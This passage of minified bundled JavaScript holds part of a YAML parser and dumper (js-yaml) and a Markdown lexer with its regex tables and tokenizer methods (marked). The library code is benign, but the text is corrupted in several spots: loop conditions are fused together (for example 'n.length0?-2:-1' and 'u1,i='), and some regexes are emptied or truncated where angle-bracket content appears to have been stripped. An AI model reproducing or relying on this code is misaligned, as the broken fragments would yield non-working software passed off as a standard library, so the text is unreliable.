\\t]*(Z|([-+])([0-9][0-9]?)(?::([0-9][0-9]))?))?$");o(LDe,"resolveYamlTimestamp");o(RDe,"constructYamlTimestamp");o(NDe,"representYamlTimestamp");MDe=new Ma("tag:yaml.org,2002:timestamp",{kind:"scalar",resolve:LDe,construct:RDe,instanceOf:Date,represent:NDe});o(IDe,"resolveYamlMerge");ODe=new Ma("tag:yaml.org,2002:merge",{kind:"scalar",resolve:IDe}),n9=`ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/= +\r`;o(PDe,"resolveYamlBinary");o(BDe,"constructYamlBinary");o(FDe,"representYamlBinary");o($De,"isBinary");zDe=new Ma("tag:yaml.org,2002:binary",{kind:"scalar",resolve:PDe,construct:BDe,predicate:$De,represent:FDe}),GDe=Object.prototype.hasOwnProperty,VDe=Object.prototype.toString;o(UDe,"resolveYamlOmap");o(HDe,"constructYamlOmap");qDe=new Ma("tag:yaml.org,2002:omap",{kind:"sequence",resolve:UDe,construct:HDe}),WDe=Object.prototype.toString;o(YDe,"resolveYamlPairs");o(XDe,"constructYamlPairs");jDe=new Ma("tag:yaml.org,2002:pairs",{kind:"sequence",resolve:YDe,construct:XDe}),KDe=Object.prototype.hasOwnProperty;o(QDe,"resolveYamlSet");o(ZDe,"constructYamlSet");JDe=new Ma("tag:yaml.org,2002:set",{kind:"mapping",resolve:QDe,construct:ZDe}),eZ=DDe.extend({implicit:[MDe,ODe],explicit:[zDe,qDe,jDe,JDe]}),Xh=Object.prototype.hasOwnProperty,IT=1,tZ=2,rZ=3,OT=4,QL=1,eLe=2,OQ=3,tLe=/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F-\x84\x86-\x9F\uFFFE\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF]/,rLe=/[\x85\u2028\u2029]/,nLe=/[,\[\]\{\}]/,nZ=/^(?:!|!!|![a-z\-]+!)$/i,iZ=/^(?:!|[^,\[\]\{\}])(?:%[0-9a-f]{2}|[0-9a-z\-#;\/\?:@&=\+\$,_\.!~\*'\(\)\[\]])*$/i;o(PQ,"_class");o(bc,"is_EOL");o(Yd,"is_WHITE_SPACE");o(Os,"is_WS_OR_EOL");o(bm,"is_FLOW_INDICATOR");o(iLe,"fromHexCode");o(aLe,"escapedHexLen");o(sLe,"fromDecimalCode");o(BQ,"simpleEscapeSequence");o(oLe,"charFromCodepoint");aZ=new Array(256),sZ=new Array(256);for(Wd=0;Wd<256;Wd++)aZ[Wd]=BQ(Wd)?1:0,sZ[Wd]=BQ(Wd);o(lLe,"State$1");o(oZ,"generateError");o(Zt,"throwError");o(PT,"throwWarning");FQ={YAML:o(function(e,r,n){var i,a,s;e.version!==null&&Zt(e,"duplication of %YAML directive"),n.length!==1&&Zt(e,"YAML directive accepts exactly one argument"),i=/^([0-9]+)\.([0-9]+)$/.exec(n[0]),i===null&&Zt(e,"ill-formed argument of the YAML directive"),a=parseInt(i[1],10),s=parseInt(i[2],10),a!==1&&Zt(e,"unacceptable YAML version of the document"),e.version=n[0],e.checkLineBreaks=s<2,s!==1&&s!==2&&PT(e,"unsupported YAML version of the document")},"handleYamlDirective"),TAG:o(function(e,r,n){var i,a;n.length!==2&&Zt(e,"TAG directive accepts exactly two arguments"),i=n[0],a=n[1],nZ.test(i)||Zt(e,"ill-formed tag handle (first argument) of the TAG directive"),Xh.call(e.tagMap,i)&&Zt(e,'there is a previously declared suffix for "'+i+'" tag handle'),iZ.test(a)||Zt(e,"ill-formed tag prefix (second argument) of the TAG directive");try{a=decodeURIComponent(a)}catch{Zt(e,"tag prefix is malformed: "+a)}e.tagMap[i]=a},"handleTagDirective")};o(Yh,"captureSegment");o($Q,"mergeMappings");o(Tm,"storeMappingPair");o(i9,"readLineBreak");o(Ci,"skipSeparationSpace");o($T,"testDocumentSeparator");o(a9,"writeFoldedLines");o(cLe,"readPlainScalar");o(uLe,"readSingleQuotedScalar");o(hLe,"readDoubleQuotedScalar");o(fLe,"readFlowCollection");o(dLe,"readBlockScalar");o(zQ,"readBlockSequence");o(pLe,"readBlockMapping");o(mLe,"readTagProperty");o(gLe,"readAnchorProperty");o(yLe,"readAlias");o(wm,"composeNode");o(vLe,"readDocument");o(lZ,"loadDocuments");o(xLe,"loadAll$1");o(bLe,"load$1");TLe=xLe,wLe=bLe,cZ={loadAll:TLe,load:wLe},uZ=Object.prototype.toString,hZ=Object.prototype.hasOwnProperty,s9=65279,kLe=9,x2=10,ELe=13,SLe=32,CLe=33,ALe=34,JL=35,_Le=37,DLe=38,LLe=39,RLe=42,fZ=44,NLe=45,BT=58,MLe=61,ILe=62,OLe=63,PLe=64,dZ=91,pZ=93,BLe=96,mZ=123,FLe=124,gZ=125,Ia={};Ia[0]="\\0";Ia[7]="\\a";Ia[8]="\\b";Ia[9]="\\t";Ia[10]="\\n";Ia[11]="\\v";Ia[12]="\\f";Ia[13]="\\r";Ia[27]="\\e";Ia[34]='\\"';Ia[92]="\\\\";Ia[133]="\\N";Ia[160]="\\_";Ia[8232]="\\L";Ia[8233]="\\P";$Le=["y","Y","yes","Yes","YES","on","On","ON","n","N","no","No","NO","off","Off","OFF"],zLe=/^[-+]?[0-9_]+(?::[0-9_]+)+(?:\.[0-9_]*)?$/;o(GLe,"compileStyleMap");o(VLe,"encodeHex");ULe=1,b2=2;o(HLe,"State");o(GQ,"indentString");o(e9,"generateNextLine");o(qLe,"testImplicitResolving");o(FT,"isWhitespace");o(T2,"isPrintable");o(VQ,"isNsCharOrWhitespace");o(UQ,"isPlainSafe");o(WLe,"isPlainSafeFirst");o(YLe,"isPlainSafeLast");o(y2,"codePointAt");o(yZ,"needIndentIndicator");vZ=1,t9=2,xZ=3,bZ=4,xm=5;o(XLe,"chooseScalarStyle");o(jLe,"writeScalar");o(HQ,"blockHeader");o(qQ,"dropEndingNewline");o(KLe,"foldString");o(WQ,"foldLine");o(QLe,"escapeString");o(ZLe,"writeFlowSequence");o(YQ,"writeBlockSequence");o(JLe,"writeFlowMapping");o(e9e,"writeBlockMapping");o(XQ,"detectType");o(Nu,"writeNode");o(t9e,"getDuplicateReferences");o(r9,"inspectNode");o(r9e,"dump$1");n9e=r9e,i9e={dump:n9e};o(o9,"renamed");jh=QQ,Kh=cZ.load,A6t=cZ.loadAll,_6t=i9e.dump,D6t=o9("safeLoad","load"),L6t=o9("safeLoadAll","loadAll"),R6t=o9("safeDump","dump")});function h9(){return{async:!1,breaks:!1,extensions:null,gfm:!0,hooks:null,pedantic:!1,renderer:null,silent:!1,tokenizer:null,walkTokens:null}}function CZ(t){jd=t}function on(t,e=""){let r=typeof t=="string"?t:t.source,n={replace:o((i,a)=>{let s=typeof a=="string"?a:a.source;return s=s.replace(as.caret,"$1"),r=r.replace(i,s),n},"replace"),getRegex:o(()=>new RegExp(r,e),"getRegex")};return n}function Tc(t,e){if(e){if(as.escapeTest.test(t))return t.replace(as.escapeReplace,wZ)}else if(as.escapeTestNoEncode.test(t))return t.replace(as.escapeReplaceNoEncode,wZ);return t}function kZ(t){try{t=encodeURI(t).replace(as.percentDecode,"%")}catch{return null}return t}function EZ(t,e){let r=t.replace(as.findPipe,(a,s,l)=>{let u=!1,h=s;for(;--h>=0&&l[h]==="\\";)u=!u;return u?"|":" |"}),n=r.split(as.splitPipe),i=0;if(n[0].trim()||n.shift(),n.length>0&&!n.at(-1)?.trim()&&n.pop(),e)if(n.length>e)n.splice(e);else for(;n.length0?-2:-1}function SZ(t,e,r,n,i){let a=e.href,s=e.title||null,l=t[1].replace(i.other.outputLinkReplace,"$1");n.state.inLink=!0;let u={type:t[0].charAt(0)==="!"?"image":"link",raw:r,href:a,title:s,text:l,tokens:n.inlineTokens(l)};return n.state.inLink=!1,u}function $9e(t,e,r){let n=t.match(r.other.indentCodeCompensation);if(n===null)return e;let i=n[1];return e.split(` +`).map(a=>{let s=a.match(r.other.beginningSpace);if(s===null)return a;let[l]=s;return l.length>=i.length?a.slice(i.length):a}).join(` +`)}function nn(t,e){return Xd.parse(t,e)}var jd,C2,as,a9e,s9e,o9e,A2,l9e,f9,AZ,_Z,c9e,d9,u9e,p9,h9e,f9e,qT,m9,d9e,DZ,p9e,g9,TZ,m9e,g9e,y9e,v9e,LZ,x9e,WT,y9,RZ,b9e,NZ,T9e,w9e,k9e,MZ,E9e,S9e,IZ,C9e,A9e,_9e,D9e,L9e,R9e,N9e,VT,M9e,OZ,PZ,I9e,v9,O9e,l9,P9e,GT,k2,B9e,wZ,UT,Mu,HT,x9,Iu,S2,z9e,Xd,M6t,I6t,O6t,P6t,B6t,F6t,$6t,BZ=N(()=>{"use strict";o(h9,"L");jd=h9();o(CZ,"G");C2={exec:o(()=>null,"exec")};o(on,"h");as={codeRemoveIndent:/^(?: {1,4}| {0,3}\t)/gm,outputLinkReplace:/\\([\[\]])/g,indentCodeCompensation:/^(\s+)(?:```)/,beginningSpace:/^\s+/,endingHash:/#$/,startingSpaceChar:/^ /,endingSpaceChar:/ $/,nonSpaceChar:/[^ ]/,newLineCharGlobal:/\n/g,tabCharGlobal:/\t/g,multipleSpaceGlobal:/\s+/g,blankLine:/^[ \t]*$/,doubleBlankLine:/\n[ \t]*\n[ \t]*$/,blockquoteStart:/^ {0,3}>/,blockquoteSetextReplace:/\n {0,3}((?:=+|-+) *)(?=\n|$)/g,blockquoteSetextReplace2:/^ {0,3}>[ \t]?/gm,listReplaceTabs:/^\t+/,listReplaceNesting:/^ {1,4}(?=( {4})*[^ ])/g,listIsTask:/^\[[ xX]\] /,listReplaceTask:/^\[[ xX]\] +/,anyLine:/\n.*\n/,hrefBrackets:/^<(.*)>$/,tableDelimiter:/[:|]/,tableAlignChars:/^\||\| *$/g,tableRowBlankLine:/\n[ \t]*$/,tableAlignRight:/^ *-+: *$/,tableAlignCenter:/^ *:-+: *$/,tableAlignLeft:/^ *:-+ *$/,startATag:/^/i,startPreScriptTag:/^<(pre|code|kbd|script)(\s|>)/i,endPreScriptTag:/^<\/(pre|code|kbd|script)(\s|>)/i,startAngleBracket:/^$/,pedanticHrefTitle:/^([^'"]*[^\s])\s+(['"])(.*)\2/,unicodeAlphaNumeric:/[\p{L}\p{N}]/u,escapeTest:/[&<>"']/,escapeReplace:/[&<>"']/g,escapeTestNoEncode:/[<>"']|&(?!(#\d{1,7}|#[Xx][a-fA-F0-9]{1,6}|\w+);)/,escapeReplaceNoEncode:/[<>"']|&(?!(#\d{1,7}|#[Xx][a-fA-F0-9]{1,6}|\w+);)/g,unescapeTest:/&(#(?:\d+)|(?:#x[0-9A-Fa-f]+)|(?:\w+));?/ig,caret:/(^|[^\[])\^/g,percentDecode:/%25/g,findPipe:/\|/g,splitPipe:/ \|/,slashPipe:/\\\|/g,carriageReturn:/\r\n|\r/g,spaceLine:/^ +$/gm,notSpaceStart:/^\S*/,endingNewline:/\n$/,listItemRegex:o(t=>new RegExp(`^( {0,3}${t})((?:[ ][^\\n]*)?(?:\\n|$))`),"listItemRegex"),nextBulletRegex:o(t=>new RegExp(`^ {0,${Math.min(3,t-1)}}(?:[*+-]|\\d{1,9}[.)])((?:[ ][^\\n]*)?(?:\\n|$))`),"nextBulletRegex"),hrRegex:o(t=>new RegExp(`^ {0,${Math.min(3,t-1)}}((?:- *){3,}|(?:_ *){3,}|(?:\\* *){3,})(?:\\n+|$)`),"hrRegex"),fencesBeginRegex:o(t=>new RegExp(`^ {0,${Math.min(3,t-1)}}(?:\`\`\`|~~~)`),"fencesBeginRegex"),headingBeginRegex:o(t=>new RegExp(`^ {0,${Math.min(3,t-1)}}#`),"headingBeginRegex"),htmlBeginRegex:o(t=>new RegExp(`^ {0,${Math.min(3,t-1)}}<(?:[a-z].*>|!--)`,"i"),"htmlBeginRegex")},a9e=/^(?:[ \t]*(?:\n|$))+/,s9e=/^((?: {4}| {0,3}\t)[^\n]+(?:\n(?:[ \t]*(?:\n|$))*)?)+/,o9e=/^ {0,3}(`{3,}(?=[^`\n]*(?:\n|$))|~{3,})([^\n]*)(?:\n|$)(?:|([\s\S]*?)(?:\n|$))(?: {0,3}\1[~`]* *(?=\n|$)|$)/,A2=/^ {0,3}((?:-[\t ]*){3,}|(?:_[ \t]*){3,}|(?:\*[ \t]*){3,})(?:\n+|$)/,l9e=/^ {0,3}(#{1,6})(?=\s|$)(.*)(?:\n+|$)/,f9=/(?:[*+-]|\d{1,9}[.)])/,AZ=/^(?!bull |blockCode|fences|blockquote|heading|html|table)((?:.|\n(?!\s*?\n|bull |blockCode|fences|blockquote|heading|html|table))+?)\n {0,3}(=+|-+) *(?:\n+|$)/,_Z=on(AZ).replace(/bull/g,f9).replace(/blockCode/g,/(?: {4}| {0,3}\t)/).replace(/fences/g,/ {0,3}(?:`{3,}|~{3,})/).replace(/blockquote/g,/ {0,3}>/).replace(/heading/g,/ {0,3}#{1,6}/).replace(/html/g,/ {0,3}<[^\n>]+>\n/).replace(/\|table/g,"").getRegex(),c9e=on(AZ).replace(/bull/g,f9).replace(/blockCode/g,/(?: {4}| {0,3}\t)/).replace(/fences/g,/ {0,3}(?:`{3,}|~{3,})/).replace(/blockquote/g,/ {0,3}>/).replace(/heading/g,/ {0,3}#{1,6}/).replace(/html/g,/ {0,3}<[^\n>]+>\n/).replace(/table/g,/ {0,3}\|?(?:[:\- ]*\|)+[\:\- ]*\n/).getRegex(),d9=/^([^\n]+(?:\n(?!hr|heading|lheading|blockquote|fences|list|html|table| +\n)[^\n]+)*)/,u9e=/^[^\n]+/,p9=/(?!\s*\])(?:\\[\s\S]|[^\[\]\\])+/,h9e=on(/^ {0,3}\[(label)\]: *(?:\n[ \t]*)?([^<\s][^\s]*|<.*?>)(?:(?: +(?:\n[ \t]*)?| *\n[ \t]*)(title))? *(?:\n+|$)/).replace("label",p9).replace("title",/(?:"(?:\\"?|[^"\\])*"|'[^'\n]*(?:\n[^'\n]+)*\n?'|\([^()]*\))/).getRegex(),f9e=on(/^( {0,3}bull)([ \t][^\n]+?)?(?:\n|$)/).replace(/bull/g,f9).getRegex(),qT="address|article|aside|base|basefont|blockquote|body|caption|center|col|colgroup|dd|details|dialog|dir|div|dl|dt|fieldset|figcaption|figure|footer|form|frame|frameset|h[1-6]|head|header|hr|html|iframe|legend|li|link|main|menu|menuitem|meta|nav|noframes|ol|optgroup|option|p|param|search|section|summary|table|tbody|td|tfoot|th|thead|title|tr|track|ul",m9=/|$))/,d9e=on("^ {0,3}(?:<(script|pre|style|textarea)[\\s>][\\s\\S]*?(?:[^\\n]*\\n+|$)|comment[^\\n]*(\\n+|$)|<\\?[\\s\\S]*?(?:\\?>\\n*|$)|\\n*|$)|\\n*|$)|)[\\s\\S]*?(?:(?:\\n[ ]*)+\\n|$)|<(?!script|pre|style|textarea)([a-z][\\w-]*)(?:attribute)*? */?>(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:(?:\\n[ ]*)+\\n|$)|(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:(?:\\n[ ]*)+\\n|$))","i").replace("comment",m9).replace("tag",qT).replace("attribute",/ +[a-zA-Z:_][\w.:-]*(?: *= *"[^"\n]*"| *= *'[^'\n]*'| *= *[^\s"'=<>`]+)?/).getRegex(),DZ=on(d9).replace("hr",A2).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("|lheading","").replace("|table","").replace("blockquote"," {0,3}>").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",qT).getRegex(),p9e=on(/^( {0,3}> ?(paragraph|[^\n]*)(?:\n|$))+/).replace("paragraph",DZ).getRegex(),g9={blockquote:p9e,code:s9e,def:h9e,fences:o9e,heading:l9e,hr:A2,html:d9e,lheading:_Z,list:f9e,newline:a9e,paragraph:DZ,table:C2,text:u9e},TZ=on("^ *([^\\n ].*)\\n {0,3}((?:\\| *)?:?-+:? *(?:\\| *:?-+:? *)*(?:\\| *)?)(?:\\n((?:(?! *\\n|hr|heading|blockquote|code|fences|list|html).*(?:\\n|$))*)\\n*|$)").replace("hr",A2).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("blockquote"," {0,3}>").replace("code","(?: {4}| {0,3} )[^\\n]").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",qT).getRegex(),m9e={...g9,lheading:c9e,table:TZ,paragraph:on(d9).replace("hr",A2).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("|lheading","").replace("table",TZ).replace("blockquote"," {0,3}>").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",qT).getRegex()},g9e={...g9,html:on(`^ *(?:comment *(?:\\n|\\s*$)|<(tag)[\\s\\S]+? *(?:\\n{2,}|\\s*$)|\\s]*)*?/?> *(?:\\n{2,}|\\s*$))`).replace("comment",m9).replace(/tag/g,"(?!(?:a|em|strong|small|s|cite|q|dfn|abbr|data|time|code|var|samp|kbd|sub|sup|i|b|u|mark|ruby|rt|rp|bdi|bdo|span|br|wbr|ins|del|img)\\b)\\w+(?!:|[^\\w\\s@]*@)\\b").getRegex(),def:/^ *\[([^\]]+)\]: *]+)>?(?: +(["(][^\n]+[")]))? *(?:\n+|$)/,heading:/^(#{1,6})(.*)(?:\n+|$)/,fences:C2,lheading:/^(.+?)\n {0,3}(=+|-+) *(?:\n+|$)/,paragraph:on(d9).replace("hr",A2).replace("heading",` *#{1,6} *[^ +]`).replace("lheading",_Z).replace("|table","").replace("blockquote"," {0,3}>").replace("|fences","").replace("|list","").replace("|html","").replace("|tag","").getRegex()},y9e=/^\\([!"#$%&'()*+,\-./:;<=>?@\[\]\\^_`{|}~])/,v9e=/^(`+)([^`]|[^`][\s\S]*?[^`])\1(?!`)/,LZ=/^( {2,}|\\)\n(?!\s*$)/,x9e=/^(`+|[^`])(?:(?= {2,}\n)|[\s\S]*?(?:(?=[\\]*?>/g,MZ=/^(?:\*+(?:((?!\*)punct)|[^\s*]))|^_+(?:((?!_)punct)|([^\s_]))/,E9e=on(MZ,"u").replace(/punct/g,WT).getRegex(),S9e=on(MZ,"u").replace(/punct/g,NZ).getRegex(),IZ="^[^_*]*?__[^_*]*?\\*[^_*]*?(?=__)|[^*]+(?=[^*])|(?!\\*)punct(\\*+)(?=[\\s]|$)|notPunctSpace(\\*+)(?!\\*)(?=punctSpace|$)|(?!\\*)punctSpace(\\*+)(?=notPunctSpace)|[\\s](\\*+)(?!\\*)(?=punct)|(?!\\*)punct(\\*+)(?!\\*)(?=punct)|notPunctSpace(\\*+)(?=notPunctSpace)",C9e=on(IZ,"gu").replace(/notPunctSpace/g,RZ).replace(/punctSpace/g,y9).replace(/punct/g,WT).getRegex(),A9e=on(IZ,"gu").replace(/notPunctSpace/g,w9e).replace(/punctSpace/g,T9e).replace(/punct/g,NZ).getRegex(),_9e=on("^[^_*]*?\\*\\*[^_*]*?_[^_*]*?(?=\\*\\*)|[^_]+(?=[^_])|(?!_)punct(_+)(?=[\\s]|$)|notPunctSpace(_+)(?!_)(?=punctSpace|$)|(?!_)punctSpace(_+)(?=notPunctSpace)|[\\s](_+)(?!_)(?=punct)|(?!_)punct(_+)(?!_)(?=punct)","gu").replace(/notPunctSpace/g,RZ).replace(/punctSpace/g,y9).replace(/punct/g,WT).getRegex(),D9e=on(/\\(punct)/,"gu").replace(/punct/g,WT).getRegex(),L9e=on(/^<(scheme:[^\s\x00-\x1f<>]*|email)>/).replace("scheme",/[a-zA-Z][a-zA-Z0-9+.-]{1,31}/).replace("email",/[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+(@)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)+(?![-_])/).getRegex(),R9e=on(m9).replace("(?:-->|$)","-->").getRegex(),N9e=on("^comment|^|^<[a-zA-Z][\\w-]*(?:attribute)*?\\s*/?>|^<\\?[\\s\\S]*?\\?>|^|^").replace("comment",R9e).replace("attribute",/\s+[a-zA-Z:_][\w.:-]*(?:\s*=\s*"[^"]*"|\s*=\s*'[^']*'|\s*=\s*[^\s"'=<>`]+)?/).getRegex(),VT=/(?:\[(?:\\[\s\S]|[^\[\]\\])*\]|\\[\s\S]|`[^`]*`|[^\[\]\\`])*?/,M9e=on(/^!?\[(label)\]\(\s*(href)(?:(?:[ \t]*(?:\n[ \t]*)?)(title))?\s*\)/).replace("label",VT).replace("href",/<(?:\\.|[^\n<>\\])+>|[^ \t\n\x00-\x1f]*/).replace("title",/"(?:\\"?|[^"\\])*"|'(?:\\'?|[^'\\])*'|\((?:\\\)?|[^)\\])*\)/).getRegex(),OZ=on(/^!?\[(label)\]\[(ref)\]/).replace("label",VT).replace("ref",p9).getRegex(),PZ=on(/^!?\[(ref)\](?:\[\])?/).replace("ref",p9).getRegex(),I9e=on("reflink|nolink(?!\\()","g").replace("reflink",OZ).replace("nolink",PZ).getRegex(),v9={_backpedal:C2,anyPunctuation:D9e,autolink:L9e,blockSkip:k9e,br:LZ,code:v9e,del:C2,emStrongLDelim:E9e,emStrongRDelimAst:C9e,emStrongRDelimUnd:_9e,escape:y9e,link:M9e,nolink:PZ,punctuation:b9e,reflink:OZ,reflinkSearch:I9e,tag:N9e,text:x9e,url:C2},O9e={...v9,link:on(/^!?\[(label)\]\((.*?)\)/).replace("label",VT).getRegex(),reflink:on(/^!?\[(label)\]\s*\[([^\]]*)\]/).replace("label",VT).getRegex()},l9={...v9,emStrongRDelimAst:A9e,emStrongLDelim:S9e,url:on(/^((?:ftp|https?):\/\/|www\.)(?:[a-zA-Z0-9\-]+\.?)+[^\s<]*|^email/,"i").replace("email",/[A-Za-z0-9._+-]+(@)[a-zA-Z0-9-_]+(?:\.[a-zA-Z0-9-_]*[a-zA-Z0-9])+(?![-_])/).getRegex(),_backpedal:/(?:[^?!.,:;*_'"~()&]+|\([^)]*\)|&(?![a-zA-Z0-9]+;$)|[?!.,:;*_'"~)]+(?!$))+/,del:/^(~~?)(?=[^\s~])((?:\\[\s\S]|[^\\])*?(?:\\[\s\S]|[^\s~\\]))\1(?=[^~]|$)/,text:/^([`~]+|[^`~])(?:(?= {2,}\n)|(?=[a-zA-Z0-9.!#$%&'*+\/=?_`{\|}~-]+@)|[\s\S]*?(?:(?=[\\":">",'"':""","'":"'"},wZ=o(t=>B9e[t],"ke");o(Tc,"w");o(kZ,"J");o(EZ,"V");o(E2,"z");o(F9e,"ge");o(SZ,"fe");o($9e,"Je");UT=class{static{o(this,"y")}options;rules;lexer;constructor(t){this.options=t||jd}space(t){let e=this.rules.block.newline.exec(t);if(e&&e[0].length>0)return{type:"space",raw:e[0]}}code(t){let e=this.rules.block.code.exec(t);if(e){let r=e[0].replace(this.rules.other.codeRemoveIndent,"");return{type:"code",raw:e[0],codeBlockStyle:"indented",text:this.options.pedantic?r:E2(r,` +`)}}}fences(t){let e=this.rules.block.fences.exec(t);if(e){let r=e[0],n=$9e(r,e[3]||"",this.rules);return{type:"code",raw:r,lang:e[2]?e[2].trim().replace(this.rules.inline.anyPunctuation,"$1"):e[2],text:n}}}heading(t){let e=this.rules.block.heading.exec(t);if(e){let r=e[2].trim();if(this.rules.other.endingHash.test(r)){let n=E2(r,"#");(this.options.pedantic||!n||this.rules.other.endingSpaceChar.test(n))&&(r=n.trim())}return{type:"heading",raw:e[0],depth:e[1].length,text:r,tokens:this.lexer.inline(r)}}}hr(t){let e=this.rules.block.hr.exec(t);if(e)return{type:"hr",raw:E2(e[0],` +`)}}blockquote(t){let e=this.rules.block.blockquote.exec(t);if(e){let r=E2(e[0],` +`).split(` +`),n="",i="",a=[];for(;r.length>0;){let s=!1,l=[],u;for(u=0;u1,i={type:"list",raw:"",ordered:n,start:n?+r.slice(0,-1):"",loose:!1,items:[]};r=n?`\\d{1,9}\\${r.slice(-1)}`:`\\${r}`,this.options.pedantic&&(r=n?r:"[*+-]");let a=this.rules.other.listItemRegex(r),s=!1;for(;t;){let u=!1,h="",f="";if(!(e=a.exec(t))||this.rules.block.hr.test(t))break;h=e[0],t=t.substring(h.length);let d=e[2].split(` +`,1)[0].replace(this.rules.other.listReplaceTabs,x=>" ".repeat(3*x.length)),p=t.split(` +`,1)[0],m=!d.trim(),g=0;if(this.options.pedantic?(g=2,f=d.trimStart()):m?g=e[1].length+1:(g=e[2].search(this.rules.other.nonSpaceChar),g=g>4?1:g,f=d.slice(g),g+=e[1].length),m&&this.rules.other.blankLine.test(p)&&(h+=p+` +`,t=t.substring(p.length+1),u=!0),!u){let x=this.rules.other.nextBulletRegex(g),b=this.rules.other.hrRegex(g),T=this.rules.other.fencesBeginRegex(g),S=this.rules.other.headingBeginRegex(g),w=this.rules.other.htmlBeginRegex(g);for(;t;){let k=t.split(` +`,1)[0],A;if(p=k,this.options.pedantic?(p=p.replace(this.rules.other.listReplaceNesting," "),A=p):A=p.replace(this.rules.other.tabCharGlobal," "),T.test(p)||S.test(p)||w.test(p)||x.test(p)||b.test(p))break;if(A.search(this.rules.other.nonSpaceChar)>=g||!p.trim())f+=` +`+A.slice(g);else{if(m||d.replace(this.rules.other.tabCharGlobal," ").search(this.rules.other.nonSpaceChar)>=4||T.test(d)||S.test(d)||b.test(d))break;f+=` +`+p}!m&&!p.trim()&&(m=!0),h+=k+` +`,t=t.substring(k.length+1),d=A.slice(g)}}i.loose||(s?i.loose=!0:this.rules.other.doubleBlankLine.test(h)&&(s=!0));let y=null,v;this.options.gfm&&(y=this.rules.other.listIsTask.exec(f),y&&(v=y[0]!=="[ ] ",f=f.replace(this.rules.other.listReplaceTask,""))),i.items.push({type:"list_item",raw:h,task:!!y,checked:v,loose:!1,text:f,tokens:[]}),i.raw+=h}let l=i.items.at(-1);if(l)l.raw=l.raw.trimEnd(),l.text=l.text.trimEnd();else return;i.raw=i.raw.trimEnd();for(let u=0;ud.type==="space"),f=h.length>0&&h.some(d=>this.rules.other.anyLine.test(d.raw));i.loose=f}if(i.loose)for(let u=0;u({text:l,tokens:this.lexer.inline(l),header:!1,align:a.align[u]})));return a}}lheading(t){let e=this.rules.block.lheading.exec(t);if(e)return{type:"heading",raw:e[0],depth:e[2].charAt(0)==="="?1:2,text:e[1],tokens:this.lexer.inline(e[1])}}paragraph(t){let e=this.rules.block.paragraph.exec(t);if(e){let r=e[1].charAt(e[1].length-1)===` +`?e[1].slice(0,-1):e[1];return{type:"paragraph",raw:e[0],text:r,tokens:this.lexer.inline(r)}}}text(t){let e=this.rules.block.text.exec(t);if(e)return{type:"text",raw:e[0],text:e[0],tokens:this.lexer.inline(e[0])}}escape(t){let e=this.rules.inline.escape.exec(t);if(e)return{type:"escape",raw:e[0],text:e[1]}}tag(t){let e=this.rules.inline.tag.exec(t);if(e)return!this.lexer.state.inLink&&this.rules.other.startATag.test(e[0])?this.lexer.state.inLink=!0:this.lexer.state.inLink&&this.rules.other.endATag.test(e[0])&&(this.lexer.state.inLink=!1),!this.lexer.state.inRawBlock&&this.rules.other.startPreScriptTag.test(e[0])?this.lexer.state.inRawBlock=!0:this.lexer.state.inRawBlock&&this.rules.other.endPreScriptTag.test(e[0])&&(this.lexer.state.inRawBlock=!1),{type:"html",raw:e[0],inLink:this.lexer.state.inLink,inRawBlock:this.lexer.state.inRawBlock,block:!1,text:e[0]}}link(t){let e=this.rules.inline.link.exec(t);if(e){let r=e[2].trim();if(!this.options.pedantic&&this.rules.other.startAngleBracket.test(r)){if(!this.rules.other.endAngleBracket.test(r))return;let a=E2(r.slice(0,-1),"\\");if((r.length-a.length)%2===0)return}else{let a=F9e(e[2],"()");if(a===-2)return;if(a>-1){let s=(e[0].indexOf("!")===0?5:4)+e[1].length+a;e[2]=e[2].substring(0,a),e[0]=e[0].substring(0,s).trim(),e[3]=""}}let n=e[2],i="";if(this.options.pedantic){let a=this.rules.other.pedanticHrefTitle.exec(n);a&&(n=a[1],i=a[3])}else i=e[3]?e[3].slice(1,-1):"";return n=n.trim(),this.rules.other.startAngleBracket.test(n)&&(this.options.pedantic&&!this.rules.other.endAngleBracket.test(r)?n=n.slice(1):n=n.slice(1,-1)),SZ(e,{href:n&&n.replace(this.rules.inline.anyPunctuation,"$1"),title:i&&i.replace(this.rules.inline.anyPunctuation,"$1")},e[0],this.lexer,this.rules)}}reflink(t,e){let r;if((r=this.rules.inline.reflink.exec(t))||(r=this.rules.inline.nolink.exec(t))){let n=(r[2]||r[1]).replace(this.rules.other.multipleSpaceGlobal," "),i=e[n.toLowerCase()];if(!i){let a=r[0].charAt(0);return{type:"text",raw:a,text:a}}return SZ(r,i,r[0],this.lexer,this.rules)}}emStrong(t,e,r=""){let n=this.rules.inline.emStrongLDelim.exec(t);if(!(!n||n[3]&&r.match(this.rules.other.unicodeAlphaNumeric))&&(!(n[1]||n[2])||!r||this.rules.inline.punctuation.exec(r))){let i=[...n[0]].length-1,a,s,l=i,u=0,h=n[0][0]==="*"?this.rules.inline.emStrongRDelimAst:this.rules.inline.emStrongRDelimUnd;for(h.lastIndex=0,e=e.slice(-1*t.length+i);(n=h.exec(e))!=null;){if(a=n[1]||n[2]||n[3]||n[4]||n[5]||n[6],!a)continue;if(s=[...a].length,n[3]||n[4]){l+=s;continue}else 